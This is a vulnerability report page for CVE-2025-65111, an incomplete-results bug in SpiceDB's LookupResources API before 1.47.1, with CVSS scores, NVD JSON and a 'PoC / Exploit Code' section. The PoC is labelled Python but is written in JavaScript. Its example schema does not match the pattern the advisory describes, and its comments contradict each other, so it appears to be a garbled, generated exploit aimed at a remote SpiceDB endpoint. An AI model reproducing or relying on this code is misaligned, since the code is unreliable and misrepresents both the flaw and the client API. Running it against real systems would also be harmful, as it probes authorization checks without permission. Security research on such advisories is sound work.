Security Vulnerability Report
中文
CVE-2025-65111 CVSS 5.3 MEDIUM

CVE-2025-65111

Published: 2025-11-21 22:16:34
Last Modified: 2025-12-31 13:41:22

Description

SpiceDB is an open source database system for creating and managing security-critical application permissions. Prior to version 1.47.1, if a schema includes the following characteristics: permission defined in terms of a union (+) and that union references the same relation on both sides (but one side arrows to a different permission). Then SpiceDB may have missing LookupResources results when checking the permission. This only affects LookupResources; other APIs calculate permissionship correctly. The issue is fixed in version 1.47.1.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:authzed:spicedb:*:*:*:*:*:*:*:* - VULNERABLE
SpiceDB < 1.47.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65111 SpiceDB LookupResources Bypass PoC // This PoC demonstrates the vulnerability in SpiceDB < 1.47.1 // where LookupResources may return incomplete results with specific schema patterns const spicedb = require('@authzed/spicedb'); // Connect to vulnerable SpiceDB instance const client = spicedb.createClient({ endpoint: 'http://target-spicedb:50051', token: 'insecure-token' // or use TLS credentials }); // Example schema that triggers the vulnerability: // definition example/user {} // definition example/resource { // relation viewer: example/user // relation editor: example/user // permission view = viewer + editor->viewer // } async function exploit() { try { // Step 1: Create test data await client.write({ updates: [ { operation: 'UPSERT', relation: 'example/resource:doc1#viewer@example/user:alice' }, { operation: 'UPSERT', relation: 'example/resource:doc1#editor@example/user:bob' } ] }); // Step 2: Query LookupResources (vulnerable API) const lookupResult = await client.LookupResources({ resourceObjectType: 'example/resource', permission: 'view', subject: { object: 'example/user', objectId: 'alice', relation: '...' } }); console.log('LookupResources returned:', lookupResult.resources); // Expected: ['example/resource:doc1'] // Actual (vulnerable): May return empty or incomplete list // Step 3: Compare with CheckPermission (correct behavior) const checkResult = await client.CheckPermission({ resource: { objectType: 'example/resource', objectId: 'doc1' }, permission: 'view', subject: { objectType: 'example/user', objectId: 'alice' } }); console.log('CheckPermission returned:', checkResult.permissionship); // Should return HAS_PERMISSION if vulnerability is present // but LookupResources may not list doc1 } catch (error) { console.error('Exploitation failed:', error.message); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65111", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:33.697", "lastModified": "2025-12-31T13:41:21.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SpiceDB is an open source database system for creating and managing security-critical application permissions. Prior to version 1.47.1, if a schema includes the following characteristics: permission defined in terms of a union (+) and that union references the same relation on both sides (but one side arrows to a different permission). Then SpiceDB may have missing LookupResources results when checking the permission. This only affects LookupResources; other APIs calculate permissionship correctly. The issue is fixed in version 1.47.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-277"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:authzed:spicedb:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.47.1", "matchCriteriaId": "FA0E74F9-C652-4459-BCFD-ADA623AA0AF8"}]}]}], "references": [{"url": "https://github.com/authzed/spicedb/commit/8c2edbe1e7bd3851fa2138f4cc344bfde986dcf2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/authzed/spicedb/security/advisories/GHSA-9m7r-g8hg-x3vr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}